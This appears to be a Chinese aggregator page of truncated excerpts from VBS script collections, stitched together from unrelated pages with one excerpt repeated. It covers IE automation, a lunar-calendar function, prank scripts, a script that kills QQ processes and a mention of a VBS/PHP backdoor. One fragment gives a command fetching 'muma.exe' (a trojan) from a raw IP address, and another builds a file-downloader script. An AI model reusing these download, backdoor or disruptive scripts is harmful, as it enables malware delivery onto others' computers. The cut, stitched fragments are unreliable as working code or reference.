objIE.Quit 运行脚本,然后打开 Notepad,然后单击“粘贴”;应该能够看到所复制的字符串。 顺便说一下,任何这一切都是在“幕后”发生的,Internet Explorer 并不会真的出现在屏幕上。这是因 为,在默认情况下,通过脚本创建的任何 IE 实例在运行时都是隐藏的,除非您利用如下语句将其显示出 来: objIE.Visible = Tru...
可以显示农历的 VBS 代码: Function nl() '获取当前系统时间 curTime = Now() Dim WeekName(7), MonthAdd(11), NongliData(99), TianGan(9), DiZhi(11), ShuXiang(11), DayName(30), MonName(12) '星期名 WeekName(0) = " * " WeekName(1) = "星期日" WeekName(2) = "星期一" WeekName...
objIE.Quit 运行脚本,然后打开 Notepad,然后单击“粘贴”;应该能够看到所复制的字符串。 顺便说一下,任何这一切都是在“幕后”发生的,Internet Explorer 并不会真的出现在屏幕上。这是因 为,在默认情况下,通过脚本创建的任何 IE 实例在运行时都是隐藏的,除非您利用如下语句将其显示出 来: objIE.Visible = Tru...
解除这个VBS脚本的办法就简单了 只是关掉任务管理器里Wscript.exe 这个进程就好了 网页整人效果代码 想看效果,只要复制这下面的所有代码保存在text文件里,修改文件后缀为txt就能看到效果了。 网页特效|Linkweb.cn/Js|---很恶心的常见整人效果 ...
vbs整人代码大全|VBS恶作剧脚本 VBS是是:Microsoft Visual Basic Script Edition。(微软公司可视化BASIC脚本版),在平时我们可以利用VBS做很多事情,当然了要熟悉VBS代码自己制作还是挺难的,不过对于使用现成的VBS代码制作VBS文件还是很简单的,很多朋友想要一些VBS整人代码,下面小编就整理了一些。
一个vbs和一个php珠联璧合,打造了一个非常规后门。当然这个后门的价值不大,但重要的是思路,不是吗? 禁止QQ上网的vbs脚本代码: 用vbs查找系统进程,发现qq的进程则杀掉就是这段代码的原理 dim bag,pipe,honker,good do good="." set bag=getobject("winmgmts:\\"&good&"\root\cimv2") set pipe=bag.exec...
.vbe : cscript hget.vbs http://111.111.111.111/muma.exe muma.exe 2. @echo for each ps in getobject _ >ps.vbs @echo ("winmgmts:.rootcimv2:win32_process").instances_ >>ps.vbs @echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs :cscript ps.vbs...
vbs脚本大全2 http://www.miaoqiyuan.cn/p/wshell-sendkey ---Just Do It--- 让VBS脚本自动在词本中输入一行文字"Hello, welcome to cfan". Dim WshShell Set WshShell=WScript.CreateObject("WScript.Shell") WshShell.Run "notepad" WScript.Sleep 200 WshShell...
收集的一些经典的vbs脚本大全 收集的⼀些经典的vbs脚本⼤全 记录⼀些经典的vbs脚本 1.⽂件下载(⽆回显)echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe echo Set xPost = createObject("Microsoft.XMLHTTP") >>iget.vbe echo xPost...
VBS 脚本常用经典代码收集 于 2011 年 7 月 2 日 21:13:37 整理 在网上查找资料的时候发现好多经典的 vbs 代码,收集起来也为了以后学习。 VBS 播放音乐 Dim wmp Set wmp = CreateObject("WMPlayer.OCX") wmp.openState wmp.URL = "想象之中.mp3" Do Until wmp.playState = 1 WScript.Sleep 1000 Loop...